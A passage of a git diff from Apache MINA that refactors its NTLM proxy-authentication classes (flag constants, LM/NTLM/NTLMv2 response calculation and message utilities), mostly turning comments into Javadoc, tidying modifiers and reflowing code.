that Unicode strings are supported for use in security buffer data */ + int FLAG_NEGOTIATE_UNICODE = 0x00000001; - // Indicates that OEM strings are supported for use in security buffer data - public final static int FLAG_NEGOTIATE_OEM = 0x00000002; + /** Indicates that OEM strings are supported for use in security buffer data */ + int FLAG_NEGOTIATE_OEM = 0x00000002; - // Requests that the server's authentication realm be included in the Type 2 message - public final static int FLAG_REQUEST_SERVER_AUTH_REALM = 0x00000004; + /** Requests that the server's authentication realm be included in the Type 2 message */ + int FLAG_REQUEST_SERVER_AUTH_REALM = 0x00000004; - // Specifies that authenticated communication between the client - // and server should carry a digital signature (message integrity) - public final static int FLAG_NEGOTIATE_SIGN = 0x00000010; + /** + * Specifies that authenticated communication between the client + * and server should carry a digital signature (message integrity) + */ + int FLAG_NEGOTIATE_SIGN = 0x00000010; - // Specifies that authenticated communication between the client - // and server should be encrypted (message confidentiality) - public final static int FLAG_NEGOTIATE_SEAL = 0x00000020; + /** + * Specifies that authenticated communication between the client + * and server should be encrypted (message confidentiality) + */ + int FLAG_NEGOTIATE_SEAL = 0x00000020; - // Indicates that datagram authentication is being used - public final static int FLAG_NEGOTIATE_DATAGRAM_STYLE = 0x00000040; + /** Indicates that datagram authentication is being used */ + int FLAG_NEGOTIATE_DATAGRAM_STYLE = 0x00000040; - // Indicates that the Lan Manager Session Key should be used for signing and - // sealing authenticated communications - public final static int FLAG_NEGOTIATE_LAN_MANAGER_KEY = 0x00000080; + /** + * Indicates that the Lan Manager Session Key should be used for signing and + * sealing authenticated communications + */ + int FLAG_NEGOTIATE_LAN_MANAGER_KEY = 0x00000080; - // Indicates that NTLM authentication is being used - public final static int FLAG_NEGOTIATE_NTLM = 0x00000200; + /** Indicates that NTLM authentication is being used */ + int FLAG_NEGOTIATE_NTLM = 0x00000200; - // Sent by the client in the Type 3 message to indicate that an anonymous context - // has been established. This also affects the response fields - public final static int FLAG_NEGOTIATE_ANONYMOUS = 0x00000800; + /** + * Sent by the client in the Type 3 message to indicate that an anonymous context + * has been established. This also affects the response fields + **/ + int FLAG_NEGOTIATE_ANONYMOUS = 0x00000800; - // Sent by the client in the Type 1 message to indicate that the name of the domain in which - // the client workstation has membership is included in the message. This is used by the - // server to determine whether the client is eligible for local authentication - public final static int FLAG_NEGOTIATE_DOMAIN_SUPPLIED = 0x00001000; + /** + * Sent by the client in the Type 1 message to indicate that the name of the domain in which + * the client workstation has membership is included in the message. This is used by the + * server to determine whether the client is eligible for local authentication + */ + int FLAG_NEGOTIATE_DOMAIN_SUPPLIED = 0x00001000; - // Sent by the client in the Type 1 message to indicate that the client workstation's name - // is included in the message. This is used by the server to determine whether the client - // is eligible for local authentication - public final static int FLAG_NEGOTIATE_WORKSTATION_SUPPLIED = 0x00002000; + /** + * Sent by the client in the Type 1 message to indicate that the client workstation's name + * is included in the message. This is used by the server to determine whether the client + * is eligible for local authentication + */ + int FLAG_NEGOTIATE_WORKSTATION_SUPPLIED = 0x00002000; - // Sent by the server to indicate that the server and client are on the same machine. - // Implies that the client may use the established local credentials for authentication - // instead of calculating a response to the challenge - public final static int FLAG_NEGOTIATE_LOCAL_CALL = 0x00004000; + /** + * Sent by the server to indicate that the server and client are on the same machine. + * Implies that the client may use the established local credentials for authentication + * instead of calculating a response to the challenge + */ + int FLAG_NEGOTIATE_LOCAL_CALL = 0x00004000; - // Indicates that authenticated communication between the client and server should - // be signed with a "dummy" signature - public final static int FLAG_NEGOTIATE_ALWAYS_SIGN = 0x00008000; + /** + * Indicates that authenticated communication between the client and server should + * be signed with a "dummy" signature + **/ + int FLAG_NEGOTIATE_ALWAYS_SIGN = 0x00008000; - // Sent by the server in the Type 2 message to indicate that the target authentication - // realm is a domain - public final static int FLAG_TARGET_TYPE_DOMAIN = 0x00010000; + /** + * Sent by the server in the Type 2 message to indicate that the target authentication + * realm is a domain + **/ + int FLAG_TARGET_TYPE_DOMAIN = 0x00010000; - // Sent by the server in the Type 2 message to indicate that the target authentication - // realm is a server - public final static int FLAG_TARGET_TYPE_SERVER = 0x00020000; + /** + * Sent by the server in the Type 2 message to indicate that the target authentication + * realm is a server + */ + int FLAG_TARGET_TYPE_SERVER = 0x00020000; - // Sent by the server in the Type 2 message to indicate that the target authentication - // realm is a share. Presumably, this is for share-level authentication. Usage is unclear - public final static int FLAG_TARGET_TYPE_SHARE = 0x00040000; + /** + * Sent by the server in the Type 2 message to indicate that the target authentication + * realm is a share. Presumably, this is for share-level authentication. Usage is unclear + **/ + int FLAG_TARGET_TYPE_SHARE = 0x00040000; - // Indicates that the NTLM2 signing and sealing scheme should be used for protecting - // authenticated communications. Note that this refers to a particular session security - // scheme, and is not related to the use of NTLMv2 authentication. This flag can, however, - // have an effect on the response calculations - public final static int FLAG_NEGOTIATE_NTLM2 = 0x00080000; + /** + * Indicates that the NTLM2 signing and sealing scheme should be used for protecting + * authenticated communications. Note that this refers to a particular session security + * scheme, and is not related to the use of NTLMv2 authentication. This flag can, however, + * have an effect on the response calculations + **/ + int FLAG_NEGOTIATE_NTLM2 = 0x00080000; - // Sent by the server in the Type 2 message to indicate that it is including a Target - // Information block in the message. The Target Information block is used in the - // calculation of the NTLMv2 response - public final static int FLAG_NEGOTIATE_TARGET_INFO = 0x00800000; + /** + * Sent by the server in the Type 2 message to indicate that it is including a Target + * Information block in the message. The Target Information block is used in the + * calculation of the NTLMv2 response + */ + int FLAG_NEGOTIATE_TARGET_INFO = 0x00800000; - // Indicates that 128-bit encryption is supported - public final static int FLAG_NEGOTIATE_128_BIT_ENCRYPTION = 0x20000000; + /** Indicates that 128-bit encryption is supported */ + int FLAG_NEGOTIATE_128_BIT_ENCRYPTION = 0x20000000; - // Indicates that the client will provide an encrypted master key in the "Session Key" - // field of the Type 3 message - public final static int FLAG_NEGOTIATE_KEY_EXCHANGE = 0x40000000; + /** + * Indicates that the client will provide an encrypted master key in the "Session Key" + * field of the Type 3 message + **/ + int FLAG_NEGOTIATE_KEY_EXCHANGE = 0x40000000; - // Indicates that 56-bit encryption is supported - public final static int FLAG_NEGOTIATE_56_BIT_ENCRYPTION = 0x80000000; + /** Indicates that 56-bit encryption is supported */ + int FLAG_NEGOTIATE_56_BIT_ENCRYPTION = 0x80000000; - // WARN : These flags usage has not been identified - public final static int FLAG_UNIDENTIFIED_1 = 0x00000008; + /** WARN : These flags usage has not been identified */ + int FLAG_UNIDENTIFIED_1 = 0x00000008; - public final static int FLAG_UNIDENTIFIED_2 = 0x00000100; // Negotiate Netware ??! + /** Negotiate Netware ??! */ + int FLAG_UNIDENTIFIED_2 = 0x00000100; - public final static int FLAG_UNIDENTIFIED_3 = 0x00000400; + /** Undefined */ + int FLAG_UNIDENTIFIED_3 = 0x00000400; - public final static int FLAG_UNIDENTIFIED_4 = 0x00100000; // Request Init Response ??! + /** Request Init Response ??! */ + int FLAG_UNIDENTIFIED_4 = 0x00100000; - public final static int FLAG_UNIDENTIFIED_5 = 0x00200000; // Request Accept Response ??! + /** Request Accept Response ??! */ + int FLAG_UNIDENTIFIED_5 = 0x00200000; - public final static int FLAG_UNIDENTIFIED_6 = 0x00400000; // Request Non-NT Session Key ??! + /** Request Non-NT Session Key ??! */ + int FLAG_UNIDENTIFIED_6 = 0x00400000; - public final static int FLAG_UNIDENTIFIED_7 = 0x01000000; + /** Undefined */ + int FLAG_UNIDENTIFIED_7 = 0x01000000; - public final static int FLAG_UNIDENTIFIED_8 = 0x02000000; + /** Undefined */ + int FLAG_UNIDENTIFIED_8 = 0x02000000; - public final static int FLAG_UNIDENTIFIED_9 = 0x04000000; + /** Undefined */ + int FLAG_UNIDENTIFIED_9 = 0x04000000; - public final static int FLAG_UNIDENTIFIED_10 = 0x08000000; + /** Undefined */ + int FLAG_UNIDENTIFIED_10 = 0x08000000; - public final static int FLAG_UNIDENTIFIED_11 = 0x10000000; + /** Undefined */ + int FLAG_UNIDENTIFIED_11 = 0x10000000; - // Default minimal flag set - public final static int DEFAULT_FLAGS = FLAG_NEGOTIATE_OEM - | FLAG_NEGOTIATE_UNICODE | FLAG_NEGOTIATE_WORKSTATION_SUPPLIED - | FLAG_NEGOTIATE_DOMAIN_SUPPLIED; + /** Default minimal flag set */ + int DEFAULT_FLAGS = FLAG_NEGOTIATE_OEM | FLAG_NEGOTIATE_UNICODE + | FLAG_NEGOTIATE_WORKSTATION_SUPPLIED | FLAG_NEGOTIATE_DOMAIN_SUPPLIED; /** * Target Information sub blocks types. It may be that there are other * as-yet-unidentified sub block types as well. */ - // Sub block terminator - public final static short TARGET_INFORMATION_SUBBLOCK_TERMINATOR_TYPE = 0x0000; + /** Sub block terminator */ + short TARGET_INFORMATION_SUBBLOCK_TERMINATOR_TYPE = 0x0000; - // Server name - public final static short TARGET_INFORMATION_SUBBLOCK_SERVER_TYPE = 0x0100; + /** Server name */ + short TARGET_INFORMATION_SUBBLOCK_SERVER_TYPE = 0x0100; - // Domain name - public final static short TARGET_INFORMATION_SUBBLOCK_DOMAIN_TYPE = 0x0200; + /** Domain name */ + short TARGET_INFORMATION_SUBBLOCK_DOMAIN_TYPE = 0x0200; - // Fully-qualified DNS host name (i.e., server.domain.com) - public final static short TARGET_INFORMATION_SUBBLOCK_FQDNS_HOSTNAME_TYPE = 0x0300; + /** Fully-qualified DNS host name (i.e., server.domain.com) */ + short TARGET_INFORMATION_SUBBLOCK_FQDNS_HOSTNAME_TYPE = 0x0300; - // DNS domain name (i.e., domain.com) - public final static short TARGET_INFORMATION_SUBBLOCK_DNS_DOMAIN_NAME_TYPE = 0x0400; + /** DNS domain name (i.e., domain.com) */ + short TARGET_INFORMATION_SUBBLOCK_DNS_DOMAIN_NAME_TYPE = 0x0400; - // Apparently the "parent" DNS domain for servers in sub domains - public final static short TARGET_INFORMATION_SUBBLOCK_PARENT_DNS_DOMAIN_NAME_TYPE = 0x0500; + /** Apparently the "parent" DNS domain for servers in sub domains */ + short TARGET_INFORMATION_SUBBLOCK_PARENT_DNS_DOMAIN_NAME_TYPE = 0x0500; } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMResponses.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMResponses.java index a257930f19..bb153ece71 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMResponses.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMResponses.java @@ -19,40 +19,39 @@ */ package org.apache.mina.proxy.handlers.http.ntlm; -import java.io.UnsupportedEncodingException; +import java.nio.charset.StandardCharsets; +import java.security.GeneralSecurityException; import java.security.Key; import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; import javax.crypto.Cipher; - +import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; /** - * NTLMResponses.java - Calculates the various Type 3 responses. Needs an MD4, MD5 and DES - * crypto provider (Please note that default provider doesn't provide MD4). + * NTLMResponses.java - Calculates the various Type 3 responses. Needs an MD4, + * MD5 and DES crypto provider (Please note that default provider doesn't + * provide MD4). + * + * Copyright (c) 2003 Eric Glass Permission to use, copy, modify, and distribute + * this document for any purpose and without any fee is hereby granted, provided + * that the above copyright notice and this list of conditions appear in all + * copies. * - * Copyright (c) 2003 Eric Glass - * Permission to use, copy, modify, and distribute this document for any purpose and without - * any fee is hereby granted, provided that the above copyright notice and this list of - * conditions appear in all copies. - * @see http://curl.haxx.se/rfc/ntlm.html + * @see NTLM RFC * * @author Apache MINA Project * @since MINA 2.0.0-M3 */ public class NTLMResponses { + /** LAN Manager magic constant used in LM Response calculation */ + public static final byte[] LM_HASH_MAGIC_CONSTANT = + new byte[]{ 'K', 'G', 'S', '!', '@', '#', '$', '%' }; - // LAN Manager magic constant used in LM Response calculation - public static byte[] LM_HASH_MAGIC_CONSTANT = null; - - static { - try { - LM_HASH_MAGIC_CONSTANT = "KGS!@#$%".getBytes("US-ASCII"); - } catch (UnsupportedEncodingException e) { - e.printStackTrace(); - } + private NTLMResponses() { } - + /** * Calculates the LM Response for the given challenge, using the specified * password. @@ -61,10 +60,11 @@ public class NTLMResponses { * @param challenge The Type 2 challenge from the server. * * @return The LM Response. + * @throws Exception If something went wrong */ - public static byte[] getLMResponse(String password, byte[] challenge) - throws Exception { + public static byte[] getLMResponse(String password, byte[] challenge) throws Exception { byte[] lmHash = lmHash(password); + return lmResponse(lmHash, challenge); } @@ -76,10 +76,11 @@ public static byte[] getLMResponse(String password, byte[] challenge) * @param challenge The Type 2 challenge from the server. * * @return The NTLM Response. + * @throws Exception If something went wrong */ - public static byte[] getNTLMResponse(String password, byte[] challenge) - throws Exception { + public static byte[] getNTLMResponse(String password, byte[] challenge) throws Exception { byte[] ntlmHash = ntlmHash(password); + return lmResponse(ntlmHash, challenge); } @@ -89,7 +90,7 @@ public static byte[] getNTLMResponse(String password, byte[] challenge) * block, and client nonce. * * @param target The authentication target (i.e., domain). - * @param user The username. + * @param user The username. * @param password The user's password. * @param targetInformation The target information block from the Type 2 * message. @@ -97,13 +98,13 @@ public static byte[] getNTLMResponse(String password, byte[] challenge) * @param clientNonce The random 8-byte client nonce. * * @return The NTLMv2 Response. + * @throws Exception If something went wrong */ - public static byte[] getNTLMv2Response(String target, String user, - String password, byte[] targetInformation, byte[] challenge, - byte[] clientNonce) throws Exception { + public static byte[] getNTLMv2Response(String target, String user, String password, byte[] targetInformation, + byte[] challenge, byte[] clientNonce) throws Exception { - return getNTLMv2Response(target, user, password, targetInformation, - challenge, clientNonce, System.currentTimeMillis()); + return getNTLMv2Response(target, user, password, targetInformation, challenge, clientNonce, + System.currentTimeMillis()); } /** @@ -112,21 +113,22 @@ public static byte[] getNTLMv2Response(String target, String user, * block, and client nonce. * * @param target The authentication target (i.e., domain). - * @param user The username. + * @param user The username. * @param password The user's password. * @param targetInformation The target information block from the Type 2 * message. * @param challenge The Type 2 challenge from the server. * @param clientNonce The random 8-byte client nonce. - * @param time The time stamp. + * @param time The time stamp. * * @return The NTLMv2 Response. + * @throws Exception If something went wrong */ - public static byte[] getNTLMv2Response(String target, String user, - String password, byte[] targetInformation, byte[] challenge, - byte[] clientNonce, long time) throws Exception { + public static byte[] getNTLMv2Response(String target, String user, String password, byte[] targetInformation, + byte[] challenge, byte[] clientNonce, long time) throws Exception { byte[] ntlmv2Hash = ntlmv2Hash(target, user, password); byte[] blob = createBlob(targetInformation, clientNonce, time); + return lmv2Response(ntlmv2Hash, blob, challenge); } @@ -141,11 +143,11 @@ public static byte[] getNTLMv2Response(String target, String user, * @param challenge The Type 2 challenge from the server. * @param clientNonce The random 8-byte client nonce. * - * @return The LMv2 Response. + * @return The LMv2 Response. + * @throws Exception If something went wrong */ - public static byte[] getLMv2Response(String target, String user, - String password, byte[] challenge, byte[] clientNonce) - throws Exception { + public static byte[] getLMv2Response(String target, String user, String password, byte[] challenge, + byte[] clientNonce) throws Exception { byte[] ntlmv2Hash = ntlmv2Hash(target, user, password); return lmv2Response(ntlmv2Hash, clientNonce, challenge); } @@ -161,9 +163,10 @@ public static byte[] getLMv2Response(String target, String user, * @return The NTLM2 Session Response. This is placed in the NTLM * response field of the Type 3 message; the LM response field contains * the client nonce, null-padded to 24 bytes. + * @throws Exception If something went wrong */ - public static byte[] getNTLM2SessionResponse(String password, - byte[] challenge, byte[] clientNonce) throws Exception { + public static byte[] getNTLM2SessionResponse(String password, byte[] challenge, byte[] clientNonce) + throws Exception { byte[] ntlmHash = ntlmHash(password); MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(challenge); @@ -180,9 +183,10 @@ public static byte[] getNTLM2SessionResponse(String password, * * @return The LM Hash of the given password, used in the calculation * of the LM Response. + * @throws GeneralSecurityException if an encryption problem occurs. */ - private static byte[] lmHash(String password) throws Exception { - byte[] oemPassword = password.toUpperCase().getBytes("US-ASCII"); + private static byte[] lmHash(String password) throws GeneralSecurityException{ + byte[] oemPassword = password.toUpperCase().getBytes(StandardCharsets.US_ASCII); int length = Math.min(oemPassword.length, 14); byte[] keyBytes = new byte[14]; System.arraycopy(oemPassword, 0, keyBytes, 0, length); @@ -196,6 +200,7 @@ private static byte[] lmHash(String password) throws Exception { byte[] lmHash = new byte[16]; System.arraycopy(lowHash, 0, lmHash, 0, 8); System.arraycopy(highHash, 0, lmHash, 8, 8); + return lmHash; } @@ -210,6 +215,7 @@ private static byte[] lmHash(String password) throws Exception { private static byte[] ntlmHash(String password) throws Exception { byte[] unicodePassword = password.getBytes("UnicodeLittleUnmarked"); MessageDigest md4 = MessageDigest.getInstance("MD4"); + return md4.digest(unicodePassword); } @@ -221,12 +227,12 @@ private static byte[] ntlmHash(String password) throws Exception { * @param password The password. * * @return The NTLMv2 Hash, used in the calculation of the NTLMv2 - * and LMv2 Responses. + * and LMv2 Responses. */ - private static byte[] ntlmv2Hash(String target, String user, String password) - throws Exception { + private static byte[] ntlmv2Hash(String target, String user, String password) throws Exception { byte[] ntlmHash = ntlmHash(password); String identity = user.toUpperCase() + target; + return hmacMD5(identity.getBytes("UnicodeLittleUnmarked"), ntlmHash); } @@ -239,8 +245,7 @@ private static byte[] ntlmv2Hash(String target, String user, String password) * @return The response (either LM or NTLM, depending on the provided * hash). */ - private static byte[] lmResponse(byte[] hash, byte[] challenge) - throws Exception { + private static byte[] lmResponse(byte[] hash, byte[] challenge) throws Exception { byte[] keyBytes = new byte[21]; System.arraycopy(hash, 0, keyBytes, 0, 16); Key lowKey = createDESKey(keyBytes, 0); @@ -257,6 +262,7 @@ private static byte[] lmResponse(byte[] hash, byte[] challenge) System.arraycopy(lowResponse, 0, lmResponse, 0, 8); System.arraycopy(middleResponse, 0, lmResponse, 8, 8); System.arraycopy(highResponse, 0, lmResponse, 16, 8); + return lmResponse; } @@ -271,17 +277,15 @@ private static byte[] lmResponse(byte[] hash, byte[] challenge) * @return The response (either NTLMv2 or LMv2, depending on the * client data). */ - private static byte[] lmv2Response(byte[] hash, byte[] clientData, - byte[] challenge) throws Exception { + private static byte[] lmv2Response(byte[] hash, byte[] clientData, byte[] challenge) throws Exception { byte[] data = new byte[challenge.length + clientData.length]; System.arraycopy(challenge, 0, data, 0, challenge.length); - System.arraycopy(clientData, 0, data, challenge.length, - clientData.length); + System.arraycopy(clientData, 0, data, challenge.length, clientData.length); byte[] mac = hmacMD5(data, hash); byte[] lmv2Response = new byte[mac.length + clientData.length]; System.arraycopy(mac, 0, lmv2Response, 0, mac.length); - System.arraycopy(clientData, 0, lmv2Response, mac.length, - clientData.length); + System.arraycopy(clientData, 0, lmv2Response, mac.length, clientData.length); + return lmv2Response; } @@ -296,27 +300,23 @@ private static byte[] lmv2Response(byte[] hash, byte[] clientData, * * @return The blob, used in the calculation of the NTLMv2 Response. */ - private static byte[] createBlob(byte[] targetInformation, - byte[] clientNonce, long time) { - byte[] blobSignature = new byte[] { (byte) 0x01, (byte) 0x01, - (byte) 0x00, (byte) 0x00 }; - byte[] reserved = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, - (byte) 0x00 }; - byte[] unknown1 = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, - (byte) 0x00 }; - byte[] unknown2 = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, - (byte) 0x00 }; + private static byte[] createBlob(byte[] targetInformation, byte[] clientNonce, long time) { + byte[] blobSignature = new byte[] { (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00 }; + byte[] reserved = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; + byte[] unknown1 = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; + byte[] unknown2 = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; time += 11644473600000l; // milliseconds from January 1, 1601 -> epoch. time *= 10000; // tenths of a microsecond. // convert to little-endian byte array. byte[] timestamp = new byte[8]; + for (int i = 0; i < 8; i++) { timestamp[i] = (byte) time; time >>>= 8; } - byte[] blob = new byte[blobSignature.length + reserved.length - + timestamp.length + clientNonce.length + unknown1.length - + targetInformation.length + unknown2.length]; + + byte[] blob = new byte[blobSignature.length + reserved.length + timestamp.length + clientNonce.length + + unknown1.length + targetInformation.length + unknown2.length]; int offset = 0; System.arraycopy(blobSignature, 0, blob, offset, blobSignature.length); offset += blobSignature.length; @@ -328,10 +328,10 @@ private static byte[] createBlob(byte[] targetInformation, offset += clientNonce.length; System.arraycopy(unknown1, 0, blob, offset, unknown1.length); offset += unknown1.length; - System.arraycopy(targetInformation, 0, blob, offset, - targetInformation.length); + System.arraycopy(targetInformation, 0, blob, offset, targetInformation.length); offset += targetInformation.length; System.arraycopy(unknown2, 0, blob, offset, unknown2.length); + return blob; } @@ -339,10 +339,11 @@ private static byte[] createBlob(byte[] targetInformation, * Calculates the HMAC-MD5 hash of the given data using the specified * hashing key. * - * @param data The data for which the hash will be calculated. + * @param data The data for which the hash will be calculated. * @param key The hashing key. * * @return The HMAC-MD5 hash of the given data. + * @throws Exception If something went wrong */ public static byte[] hmacMD5(byte[] data, byte[] key) throws Exception { byte[] ipad = new byte[64]; @@ -363,10 +364,11 @@ public static byte[] hmacMD5(byte[] data, byte[] key) throws Exception { System.arraycopy(ipad, 0, content, 0, 64); System.arraycopy(data, 0, content, 64, data.length); MessageDigest md5 = MessageDigest.getInstance("MD5"); - data = md5.digest(content); - content = new byte[data.length + 64]; + byte[] digestedData = md5.digest(content); + content = new byte[digestedData.length + 64]; System.arraycopy(opad, 0, content, 0, 64); - System.arraycopy(data, 0, content, 64, data.length); + System.arraycopy(digestedData, 0, content, 64, digestedData.length); + return md5.digest(content); } @@ -393,6 +395,7 @@ private static Key createDESKey(byte[] bytes, int offset) { material[6] = (byte) (keyBytes[5] << 2 | (keyBytes[6] & 0xff) >>> 6); material[7] = (byte) (keyBytes[6] << 1); oddParity(material); + return new SecretKeySpec(material, "DES"); } @@ -405,8 +408,8 @@ private static Key createDESKey(byte[] bytes, int offset) { private static void oddParity(byte[] bytes) { for (int i = 0; i < bytes.length; i++) { byte b = bytes[i]; - boolean needsParity = (((b >>> 7) ^ (b >>> 6) ^ (b >>> 5) - ^ (b >>> 4) ^ (b >>> 3) ^ (b >>> 2) ^ (b >>> 1)) & 0x01) == 0; + boolean needsParity = (((b >>> 7) ^ (b >>> 6) ^ (b >>> 5) ^ (b >>> 4) ^ (b >>> 3) ^ (b >>> 2) ^ (b >>> 1)) & 0x01) == 0; + if (needsParity) { bytes[i] |= (byte) 0x01; } else { diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMUtilities.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMUtilities.java index f9014914ce..9c679ab5a1 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMUtilities.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMUtilities.java @@ -36,21 +36,28 @@ * @since MINA 2.0.0-M3 */ public class NTLMUtilities implements NTLMConstants { + private NTLMUtilities() { + } + /** * @see #writeSecurityBuffer(short, short, int, byte[], int) + * + * @param length The length of the security buffer + * @param bufferOffset The offset in the security buffer + * @return Th created buffer */ - public final static byte[] writeSecurityBuffer(short length, - int bufferOffset) { + public static final byte[] writeSecurityBuffer(short length, int bufferOffset) { byte[] b = new byte[8]; writeSecurityBuffer(length, length, bufferOffset, b, 0); + return b; } /** - * Writes a security buffer to the given array b at offset - * offset. A security buffer defines a pointer to an area + * Writes a security buffer to the given array b at offset + * offset. A security buffer defines a pointer to an area * in the data that defines some data with a variable length. This allows - * to have a semi-fixed length header thus making a little bit easier + * to have a semi-fixed length header thus making a little bit easier * the decoding process in the NTLM protocol. * * @param length the length of the security buffer @@ -61,8 +68,7 @@ public final static byte[] writeSecurityBuffer(short length, * @param b the buffer in which we write the security buffer * @param offset the offset at which to write to the b buffer */ - public final static void writeSecurityBuffer(short length, short allocated, - int bufferOffset, byte[] b, int offset) { + public static final void writeSecurityBuffer(short length, short allocated, int bufferOffset, byte[] b, int offset) { ByteUtilities.writeShort(length, b, offset); ByteUtilities.writeShort(allocated, b, offset + 2); ByteUtilities.writeInt(bufferOffset, b, offset + 4); @@ -76,11 +82,11 @@ public final static void writeSecurityBuffer(short length, short allocated, * @param majorVersion the major version number * @param minorVersion the minor version number * @param buildNumber the build number - * @param b the target byte array + * @param b the target byte array * @param offset the offset at which to write in the array */ - public final static void writeOSVersion(byte majorVersion, - byte minorVersion, short buildNumber, byte[] b, int offset) { + public static final void writeOSVersion(byte majorVersion, byte minorVersion, short buildNumber, byte[] b, + int offset) { b[offset] = majorVersion; b[offset + 1] = minorVersion; b[offset + 2] = (byte) buildNumber; @@ -92,38 +98,36 @@ public final static void writeOSVersion(byte majorVersion, } /** - * Tries to return a valid OS version on Windows systems. If it fails to - * do so or if we're running on another OS then a fake Windows XP OS + * Tries to return a valid OS version on Windows systems. If it fails to + * do so or if we're running on another OS then a fake Windows XP OS * version is returned because the protocol uses it. * * @return a NTLM OS version byte buffer */ - public final static byte[] getOsVersion() { + public static final byte[] getOsVersion() { String os = System.getProperty("os.name"); - - if (os == null || !os.toUpperCase().contains("WINDOWS")) { + + if ((os == null) || !os.toUpperCase().contains("WINDOWS")) { return DEFAULT_OS_VERSION; } - + byte[] osVer = new byte[8]; // Let's enclose the code by a try...catch in order to - // manage incorrect strings. In this case, we will generate + // manage incorrect strings. In this case, we will generate // an exception and deal with the special cases. try { Process pr = Runtime.getRuntime().exec("cmd /C ver"); - BufferedReader reader = new BufferedReader( - new InputStreamReader(pr.getInputStream())); - pr.waitFor(); - String line; - - // We loop as we may have blank lines. - do { - line = reader.readLine(); - } while ((line != null) && (line.length() != 0)); - - reader.close(); + + try (BufferedReader reader = new BufferedReader(new InputStreamReader(pr.getInputStream()))) { + pr.waitFor(); + + // We loop as we may have blank lines. + do { + line = reader.readLine(); + } while ((line != null) && (line.length() != 0)); + } // If line is null, we must not go any farther if (line == null) { @@ -149,20 +153,18 @@ public final static byte[] getOsVersion() { throw new Exception(); } - writeOSVersion(Byte.parseByte(tk.nextToken()), Byte - .parseByte(tk.nextToken()), Short.parseShort(tk - .nextToken()), osVer, 0); + writeOSVersion(Byte.parseByte(tk.nextToken()), Byte.parseByte(tk.nextToken()), + Short.parseShort(tk.nextToken()), osVer, 0); } catch (Exception ex) { try { String version = System.getProperty("os.version"); - writeOSVersion(Byte.parseByte(version.substring(0, 1)), - Byte.parseByte(version.substring(2, 3)), (short) 0, - osVer, 0); + writeOSVersion(Byte.parseByte(version.substring(0, 1)), Byte.parseByte(version.substring(2, 3)), + (short) 0, osVer, 0); } catch (Exception ex2) { return DEFAULT_OS_VERSION; } } - + return osVer; } @@ -171,28 +173,25 @@ public final static byte[] getOsVersion() { * * @param workStation the workstation name * @param domain the domain name - * @param customFlags custom flags, if null then + * @param customFlags custom flags, if null then * NTLMConstants.DEFAULT_CONSTANTS is used - * @param osVersion the os version of the client, if null then + * @param osVersion the os version of the client, if null then * NTLMConstants.DEFAULT_OS_VERSION is used * @return the type 1 message */ - public final static byte[] createType1Message(String workStation, - String domain, Integer customFlags, byte[] osVersion) { - byte[] msg = null; + public static final byte[] createType1Message(String workStation, String domain, Integer customFlags, + byte[] osVersion) { + byte[] msg; if (osVersion != null && osVersion.length != 8) { - throw new IllegalArgumentException( - "osVersion parameter should be a 8 byte wide array"); + throw new IllegalArgumentException("osVersion parameter should be a 8 byte wide array"); } if (workStation == null || domain == null) { - throw new IllegalArgumentException( - "workStation and domain must be non null"); + throw new IllegalArgumentException("workStation and domain must be non null"); } - int flags = customFlags != null ? customFlags - | FLAG_NEGOTIATE_WORKSTATION_SUPPLIED + int flags = customFlags != null ? customFlags | FLAG_NEGOTIATE_WORKSTATION_SUPPLIED | FLAG_NEGOTIATE_DOMAIN_SUPPLIED : DEFAULT_FLAGS; ByteArrayOutputStream baos = new ByteArrayOutputStream(); @@ -203,15 +202,11 @@ public final static byte[] createType1Message(String workStation, baos.write(ByteUtilities.writeInt(flags)); byte[] domainData = ByteUtilities.getOEMStringAsByteArray(domain); - byte[] workStationData = ByteUtilities - .getOEMStringAsByteArray(workStation); + byte[] workStationData = ByteUtilities.getOEMStringAsByteArray(workStation); int pos = (osVersion != null) ? 40 : 32; - baos.write(writeSecurityBuffer((short) domainData.length, pos - + workStationData.length)); - baos - .write(writeSecurityBuffer((short) workStationData.length, - pos)); + baos.write(writeSecurityBuffer((short) domainData.length, pos + workStationData.length)); + baos.write(writeSecurityBuffer((short) workStationData.length, pos)); if (osVersion != null) { baos.write(osVersion); @@ -231,19 +226,19 @@ public final static byte[] createType1Message(String workStation, } /** - * Writes a security buffer and returns the pointer of the position + * Writes a security buffer and returns the pointer of the position * where to write the next security buffer. * * @param baos the stream where the security buffer is written - * @param len the length of the security buffer + * @param len the length of the security buffer * @param pointer the position where the security buffer can be written * @return the position where the next security buffer will be written * @throws IOException if writing to the ByteArrayOutputStream fails */ - public final static int writeSecurityBufferAndUpdatePointer( - ByteArrayOutputStream baos, short len, int pointer) + public static final int writeSecurityBufferAndUpdatePointer(ByteArrayOutputStream baos, short len, int pointer) throws IOException { baos.write(writeSecurityBuffer(len, pointer)); + return pointer + len; } @@ -253,9 +248,10 @@ public final static int writeSecurityBufferAndUpdatePointer( * @param msg the type 2 message byte array * @return the challenge */ - public final static byte[] extractChallengeFromType2Message(byte[] msg) { + public static final byte[] extractChallengeFromType2Message(byte[] msg) { byte[] challenge = new byte[8]; System.arraycopy(msg, 24, challenge, 0, 8); + return challenge; } @@ -265,7 +261,7 @@ public final static byte[] extractChallengeFromType2Message(byte[] msg) { * @param msg the type 2 message byte array * @return the proxy flags as an int */ - public final static int 